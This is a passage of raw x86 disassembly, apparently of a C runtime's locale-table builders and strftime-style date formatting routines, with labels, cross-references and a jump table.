edx, [ebp-14h] push edx call sub_41E550 add esp, 8 push eax call sub_41AC70 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+1Ch] push eax mov ecx, [ebp-14h] push ecx call sub_41E550 add esp, 8 push eax call sub_41AC70 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_43444C ; --------------------------------------------------------------------------- loc_4344CA: ; CODE XREF: seg000:00434459j mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_4344D9: ; CODE XREF: seg000:00434437j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, ds:off_450F58 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_434518 ; --------------------------------------------------------------------------- loc_43450F: ; CODE XREF: seg000:00434550j mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_434518: ; CODE XREF: seg000:0043450Dj cmp dword ptr [ebp-10h], 0Ch jnb short loc_434552 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx call sub_41AC70 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+68h] push ecx call sub_41AC70 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_43450F ; --------------------------------------------------------------------------- loc_434552: ; CODE XREF: seg000:0043451Cj mov eax, [ebp-8] add eax, 1 push eax call sub_41AE40 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_43460B mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_434586 ; --------------------------------------------------------------------------- loc_43457D: ; CODE XREF: seg000:004345FAj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_434586: ; CODE XREF: seg000:0043457Bj cmp dword ptr [ebp-10h], 0Ch jnb short loc_4345FC mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx mov edx, [ebp-14h] push edx call sub_41E550 add esp, 8 push eax call sub_41AC70 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_41E550 add esp, 8 push eax call sub_41AC70 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_43457D ; --------------------------------------------------------------------------- loc_4345FC: ; CODE XREF: seg000:0043458Aj mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_43460B: ; CODE XREF: seg000:00434568j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi mov eax, ds:off_450F58 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_434648 ; --------------------------------------------------------------------------- loc_43463F: ; CODE XREF: seg000:0043467Fj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_434648: ; CODE XREF: seg000:0043463Dj cmp dword ptr [ebp-10h], 7 jnb short loc_434681 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_41AC70 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_41AC70 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_43463F ; --------------------------------------------------------------------------- loc_434681: ; CODE XREF: seg000:0043464Cj mov dword ptr [ebp-10h], 0 jmp short loc_434693 ; --------------------------------------------------------------------------- loc_43468A: ; CODE XREF: seg000:004346CBj mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_434693: ; CODE XREF: seg000:00434688j cmp dword ptr [ebp-10h], 0Ch jnb short loc_4346CD mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax call sub_41AC70 add esp, 4 mov esi, eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax call sub_41AC70 add esp, 4 add eax, [ebp-8] lea ecx, [eax+esi+2] mov [ebp-8], ecx jmp short loc_43468A ; --------------------------------------------------------------------------- loc_4346CD: ; CODE XREF: seg000:00434697j mov edx, [ebp-0Ch] mov eax, [edx+98h] push eax call sub_41AC70 add esp, 4 mov esi, eax mov ecx, [ebp-0Ch] mov edx, [ecx+9Ch] push edx call sub_41AC70 add esp, 4 add eax, [ebp-8] lea eax, [eax+esi+2] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A0h] push edx call sub_41AC70 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A4h] push ecx call sub_41AC70 add esp, 4 mov edx, [ebp-8] lea eax, [edx+eax+1] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A8h] push edx call sub_41AC70 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-8] add eax, 0ACh push eax call sub_41AE40 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_434986 mov ecx, [ebp-4] mov [ebp-18h], ecx mov edx, [ebp-4] add edx, 0ACh mov [ebp-14h], edx push 0ACh mov eax, ds:off_450F58 push eax mov ecx, [ebp-4] push ecx call sub_41E840 add esp, 0Ch mov dword ptr [ebp-10h], 0 jmp short loc_4347AA ; --------------------------------------------------------------------------- loc_4347A1: ; CODE XREF: seg000:0043481Cj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_4347AA: ; CODE XREF: seg000:0043479Fj cmp dword ptr [ebp-10h], 7 jnb short loc_43481E mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4] push edx mov eax, [ebp-14h] push eax call sub_41E550 add esp, 8 push eax call sub_41AC70 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4+1Ch], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4+1Ch] push edx mov eax, [ebp-14h] push eax call sub_41E550 add esp, 8 push eax call sub_41AC70 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx jmp short loc_4347A1 ; --------------------------------------------------------------------------- loc_43481E: ; CODE XREF: seg000:004347AEj mov dword ptr [ebp-10h], 0 jmp short loc_434830 ; --------------------------------------------------------------------------- loc_434827: ; CODE XREF: seg000:004348A4j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_434830: ; CODE XREF: seg000:00434825j cmp dword ptr [ebp-10h], 0Ch jnb short loc_4348A6 mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+38h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax mov ecx, [ebp-14h] push ecx call sub_41E550 add esp, 8 push eax call sub_41AC70 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+68h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_41E550 add esp, 8 push eax call sub_41AC70 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax jmp short loc_434827 ; --------------------------------------------------------------------------- loc_4348A6: ; CODE XREF: seg000:00434834j mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+98h], edx mov eax, [ebp-0Ch] mov ecx, [eax+98h] push ecx mov edx, [ebp-14h] push edx call sub_41E550 add esp, 8 push eax call sub_41AC70 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+9Ch], ecx mov edx, [ebp-0Ch] mov eax, [edx+9Ch] push eax mov ecx, [ebp-14h] push ecx call sub_41E550 add esp, 8 push eax call sub_41AC70 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A0h], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A0h] push ecx mov edx, [ebp-14h] push edx call sub_41E550 add esp, 8 push eax call sub_41AC70 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+0A4h], ecx mov edx, [ebp-0Ch] mov eax, [edx+0A4h] push eax mov ecx, [ebp-14h] push ecx call sub_41E550 add esp, 8 push eax call sub_41AC70 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A8h], edx loc_434986: ; CODE XREF: seg000:00434769j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_4349B0 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4349B0 proc near ; CODE XREF: seg000:004349A5p var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_10], 0 jnz short loc_4349C6 mov eax, ds:off_450F58 mov [ebp+var_10], eax jmp short loc_4349CC ; --------------------------------------------------------------------------- loc_4349C6: ; CODE XREF: sub_4349B0+Aj mov ecx, [ebp+arg_10] mov [ebp+var_10], ecx loc_4349CC: ; CODE XREF: sub_4349B0+14j mov edx, [ebp+var_10] mov [ebp+var_4], edx mov eax, [ebp+arg_4] mov [ebp+var_C], eax push offset dword_4EED14 call ds:dword_4F1428 ; InterlockedIncrement cmp ds:dword_4EED10, 0 jz short loc_434A0A push offset dword_4EED14 call ds:dword_4F1424 ; InterlockedDecrement push 13h call sub_421A80 add esp, 4 mov [ebp+var_8], 1 jmp short loc_434A11 ; --------------------------------------------------------------------------- loc_434A0A: ; CODE XREF: sub_4349B0+3Aj mov [ebp+var_8], 0 loc_434A11: ; CODE XREF: sub_4349B0+58j ; sub_4349B0:loc_434AFDj cmp [ebp+var_C], 0 jbe loc_434B02 mov ecx, [ebp+arg_8] mov dl, [ecx] mov [ebp+var_14], dl cmp [ebp+var_14], 0 jz short loc_434A31 cmp [ebp+var_14], 25h jz short loc_434A36 jmp short loc_434A90 ; --------------------------------------------------------------------------- loc_434A31: ; CODE XREF: sub_4349B0+77j jmp loc_434B02 ; --------------------------------------------------------------------------- loc_434A36: ; CODE XREF: sub_4349B0+7Dj mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax mov ds:dword_4EED08, 0 mov ecx, [ebp+arg_8] movsx edx, byte ptr [ecx] cmp edx, 23h jnz short loc_434A67 mov ds:dword_4EED08, 1 mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_434A67: ; CODE XREF: sub_4349B0+A2j mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] mov al, [edx] push eax call sub_434B40 add esp, 14h mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_434AFD ; --------------------------------------------------------------------------- loc_434A90: ; CODE XREF: sub_4349B0+7Fj mov edx, [ebp+arg_8] xor eax, eax mov al, [edx] mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_434AD8 cmp [ebp+var_C], 1 jbe short loc_434AD8 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_434AD8: ; CODE XREF: sub_4349B0+FBj ; sub_4349B0+101j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_434AFD: ; CODE XREF: sub_4349B0+DEj jmp loc_434A11 ; --------------------------------------------------------------------------- loc_434B02: ; CODE XREF: sub_4349B0+65j ; sub_4349B0:loc_434A31j cmp [ebp+var_8], 0 jz short loc_434B14 push 13h call sub_421B20 add esp, 4 jmp short loc_434B1F ; --------------------------------------------------------------------------- loc_434B14: ; CODE XREF: sub_4349B0+156j push offset dword_4EED14 call ds:dword_4F1424 ; InterlockedDecrement loc_434B1F: ; CODE XREF: sub_4349B0+162j cmp [ebp+var_C], 0 jbe short loc_434B33 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 mov eax, [ebp+arg_4] sub eax, [ebp+var_C] jmp short loc_434B35 ; --------------------------------------------------------------------------- loc_434B33: ; CODE XREF: sub_4349B0+173j xor eax, eax loc_434B35: ; CODE XREF: sub_4349B0+181j mov esp, ebp pop ebp retn sub_4349B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434B40 proc near ; CODE XREF: sub_4349B0+CDp ; sub_435310+3ECp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push esi movsx eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] sub ecx, 25h mov [ebp+var_C], ecx cmp [ebp+var_C], 55h ja loc_4350A8 mov eax, [ebp+var_C] xor edx, edx mov dl, ds:byte_435109[eax] jmp ds:off_4350AD[edx*4] loc_434B73: ; DATA XREF: seg000:004350DDo mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4] push eax call sub_435160 add esp, 0Ch jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434B95: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350B1o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+1Ch] push eax call sub_435160 add esp, 0Ch jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434BB8: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350E1o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+38h] push eax call sub_435160 add esp, 0Ch jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434BDB: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350B5o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+68h] push eax call sub_435160 add esp, 0Ch jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434BFE: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350E5o cmp ds:dword_4EED08, 0 jz short loc_434C86 mov ds:dword_4EED08, 0 mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A4h] push eax call sub_435310 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_434C40 jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434C40: ; CODE XREF: sub_434B40+F9j mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_435310 add esp, 14h jmp short loc_434CF9 ; --------------------------------------------------------------------------- loc_434C86: ; CODE XREF: sub_434B40+C5j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A0h] push eax call sub_435310 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_434CB5 jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434CB5: ; CODE XREF: sub_434B40+16Ej mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_435310 add esp, 14h loc_434CF9: ; CODE XREF: sub_434B40+144j jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434CFE: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350E9o mov ecx, ds:dword_4EED08 mov ds:dword_4EED0C, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx call sub_4351B0 add esp, 10h jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434D28: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350B9o mov eax, ds:dword_4EED08 mov ds:dword_4EED0C, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx call sub_4351B0 add esp, 10h jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434D50: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350BDo mov edx, ds:dword_4EED08 mov ds:dword_4EED0C, edx mov eax, [ebp+arg_4] mov eax, [eax+8] cdq mov ecx, 0Ch idiv ecx mov [ebp+var_4], edx cmp [ebp+var_4], 0 jnz short loc_434D7A mov [ebp+var_4], 0Ch loc_434D7A: ; CODE XREF: sub_434B40+231j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_4351B0 add esp, 10h jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434D95: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350EDo mov edx, ds:dword_4EED08 mov ds:dword_4EED0C, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 3 mov edx, [ebp+arg_4] mov eax, [edx+1Ch] add eax, 1 push eax call sub_4351B0 add esp, 10h jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434DC2: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350F1o mov ecx, ds:dword_4EED08 mov ds:dword_4EED0C, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+10h] add edx, 1 push edx call sub_4351B0 add esp, 10h jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434DEF: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350C1o mov eax, ds:dword_4EED08 mov ds:dword_4EED0C, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx call sub_4351B0 add esp, 10h jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434E17: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350F5o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_434E3C mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_10] mov eax, [edx+98h] push eax call sub_435160 add esp, 0Ch jmp short loc_434E56 ; --------------------------------------------------------------------------- loc_434E3C: ; CODE XREF: sub_434B40+2DEj mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_10] mov ecx, [eax+9Ch] push ecx call sub_435160 add esp, 0Ch loc_434E56: ; CODE XREF: sub_434B40+2FAj jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434E5B: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350C5o mov edx, ds:dword_4EED08 mov ds:dword_4EED0C, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+arg_4] mov eax, [edx] push eax call sub_4351B0 add esp, 10h jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434E84: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350C9o mov ecx, ds:dword_4EED08 mov ds:dword_4EED0C, ecx mov edx, [ebp+arg_4] mov eax, [edx+18h] mov [ebp+var_8], eax jmp short loc_434EED ; --------------------------------------------------------------------------- loc_434E9B: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350F9o mov ecx, ds:dword_4EED08 mov ds:dword_4EED0C, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 1 mov ecx, [ebp+arg_4] mov edx, [ecx+18h] push edx call sub_4351B0 add esp, 10h jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434EC5: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350CDo mov eax, ds:dword_4EED08 mov ds:dword_4EED0C, eax mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_434EE1 mov [ebp+var_8], 6 jmp short loc_434EED ; --------------------------------------------------------------------------- loc_434EE1: ; CODE XREF: sub_434B40+396j mov edx, [ebp+arg_4] mov eax, [edx+18h] sub eax, 1 mov [ebp+var_8], eax loc_434EED: ; CODE XREF: sub_434B40+359j ; sub_434B40+39Fj mov ecx, [ebp+arg_4] mov edx, [ecx+1Ch] cmp edx, [ebp+var_8] jge short loc_434F01 mov [ebp+var_4], 0 jmp short loc_434F2E ; --------------------------------------------------------------------------- loc_434F01: ; CODE XREF: sub_434B40+3B6j mov eax, [ebp+arg_4] mov eax, [eax+1Ch] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], eax mov edx, [ebp+arg_4] mov eax, [edx+1Ch] cdq mov ecx, 7 idiv ecx cmp edx, [ebp+var_8] jl short loc_434F2E mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_434F2E: ; CODE XREF: sub_434B40+3BFj ; sub_434B40+3E3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+var_4] push edx call sub_4351B0 add esp, 10h jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434F49: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350FDo cmp ds:dword_4EED08, 0 jz short loc_434F80 mov ds:dword_4EED08, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A4h] push edx call sub_435310 add esp, 14h jmp short loc_434FA2 ; --------------------------------------------------------------------------- loc_434F80: ; CODE XREF: sub_434B40+410j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A0h] push edx call sub_435310 add esp, 14h loc_434FA2: ; CODE XREF: sub_434B40+43Ej jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434FA7: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350D1o mov ds:dword_4EED08, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A8h] push edx call sub_435310 add esp, 14h jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_434FD8: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:00435101o mov eax, ds:dword_4EED08 mov ds:dword_4EED0C, eax mov ecx, [ebp+arg_4] mov eax, [ecx+14h] cdq mov ecx, 64h idiv ecx mov [ebp+var_4], edx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_4351B0 add esp, 10h jmp loc_4350A8 ; --------------------------------------------------------------------------- loc_43500E: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350D5o mov edx, ds:dword_4EED08 mov ds:dword_4EED0C, edx mov eax, [ebp+arg_4] mov eax, [eax+14h] cdq mov ecx, 64h idiv ecx mov ecx, eax add ecx, 13h imul ecx, 64h mov edx, [ebp+arg_4] mov eax, [edx+14h] cdq mov esi, 64h idiv esi add ecx, edx mov [ebp+var_4], ecx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 4 mov edx, [ebp+var_4] push edx call sub_4351B0 add esp, 10h jmp short loc_4350A8 ; --------------------------------------------------------------------------- loc_43505B: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:004350D9o call sub_42ED80 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] xor eax, eax cmp dword ptr [edx+20h], 0 setnz al mov ecx, ds:off_45071C[eax*4] push ecx call sub_435160 add esp, 0Ch jmp short loc_4350A8 ; --------------------------------------------------------------------------- loc_435086: ; CODE XREF: sub_434B40+2Cj ; DATA XREF: seg000:off_4350ADo mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 25h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_4350A8: ; CODE XREF: sub_434B40+1Bj ; sub_434B40+2Cj ... pop esi mov esp, ebp pop ebp retn sub_434B40 endp ; --------------------------------------------------------------------------- off_4350AD dd offset loc_435086 ; DATA XREF: sub_434B40+2Cr dd offset loc_434B95 dd offset loc_434BDB dd offset loc_434D28 dd offset loc_434D50 dd offset loc_434DEF dd offset loc_434E5B dd offset loc_434E84 dd offset loc_434EC5 dd offset loc_434FA7 dd offset loc_43500E dd offset loc_43505B dd offset loc_434B73 dd offset loc_434BB8 dd offset loc_434BFE dd offset loc_434CFE dd offset loc_434D95 dd offset loc_434DC2 dd offset loc_434E17 dd offset loc_434E9B dd offset loc_434F49 dd offset loc_434FD8 dd offset loc_4350A8 byte_435109 db 0 ; DATA XREF: sub_434B40+26r dw 1616h dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h dd 0CC0B1514h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435160 proc near ; CODE XREF: sub_434B40+48p ; sub_434B40+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp loc_435163: ; CODE 